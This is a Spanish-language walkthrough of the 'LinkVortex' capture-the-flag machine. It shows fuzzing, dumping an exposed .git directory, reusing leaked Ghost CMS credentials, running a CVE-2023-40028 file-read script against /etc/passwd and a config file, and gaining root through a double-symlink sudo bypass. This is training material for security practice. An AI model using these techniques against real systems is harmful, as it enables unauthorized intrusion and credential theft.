Linkvortex

Buscando subdominios:

┌──(docker㉿docker)-[~/HackBox]
└─$ ffuf -u http://linkvortex.htb/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host:FUZZ.linkvortex.htb" -mc 200

Ahora buscamos directorios:

┌──(docker㉿docker)-[~/HackBox]
└─$ ffuf -u http://linkvortex.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

LICENSE                 [Status: 200, Size: 1065, Words: 149, Lines: 23, Duration: 195ms]
favicon.ico             [Status: 200, Size: 15406, Words: 43, Lines: 2, Duration: 197ms]
robots.txt              [Status: 200, Size: 121, Words: 7, Lines: 7, Duration: 155ms]
sitemap.xml             [Status: 200, Size: 527, Words: 6, Lines: 1, Duration: 174ms]

Se encontro un

/robots.txt

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

Ingrese /ghostla ruta, hay una página de inicio de sesión

dev.linkvortex.htbRealizar un escaneo de directorio en

dirsearch -u dev.linkvortex.htb -t 50 -i 200

Entonces, podemos ver que encontramos directorios git en el subdominio dev. Ahora, usaremos Githack para volcar los archivos git.

Comparto el enlace del repositorio de GitHub: “ https://github.com/lijiejie/GitHack .

Primero, visitaremos los directorios git que encontramos.

python GitHack.py -u "http://dev.linkvortex.htb/.git/"

Obtuvimos el nombre de archivo “ ghost/core/test/regression/api/admin/authentication.test.js”. Ahora, veamos el archivo usando cat.

Puedes encontrar que hay algunas passwordpalabras clave en él.

Puedes iniciar sesión usando tu primera contraseña

username: admin@linkvortex.htb
password: OctopiFociPilfer45

A través de Wappalyzerla extensión, puede encontrar que la GhostCMSversión actual es5.58

Usuario

CVE-2023-40028

Buscando en Google encontré esto

Ejecutando:

└─$ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
❯ ./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Ahora, visite el archivo usando este comando: "cat /var/lib/ghost/config.production.json"

Ahora puedes ver que encontramos el usuario " bob@linkvortex.htby la contraseña " fibber-talented-worth". Es hora de establecer una conexión SSH.

└─$ ssh  bob@linkvortex.htb

Raíz

Verifique los permisos de comando de Bob

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT
 
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Ver esto/opt/ghost/clean_symlink.sh

#!/bin/bash
 
QUAR_DIR="/var/quarantined"
 
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
 
LINK=$1
 
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
 
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Si el sufijo del nombre del archivo es .pngy el archivo es un enlace simbólico y la ruta de destino no contiene etcoroot (es decir, el destino no es un archivo confidencial), el script:

  • Mueva el enlace simbólico al/var/quarantined directorio.

  • Si es así CHECK_CONTENT=true, el script intentará generar el contenido del archivo.

Luego cree un enlace simbólico y conéctese a root.txt. Dado que el script verificará los parámetros, puede usar un enlace secundario para omitirlo y CHECK_CONTENTconfigurarlo como verdadero.

Last updated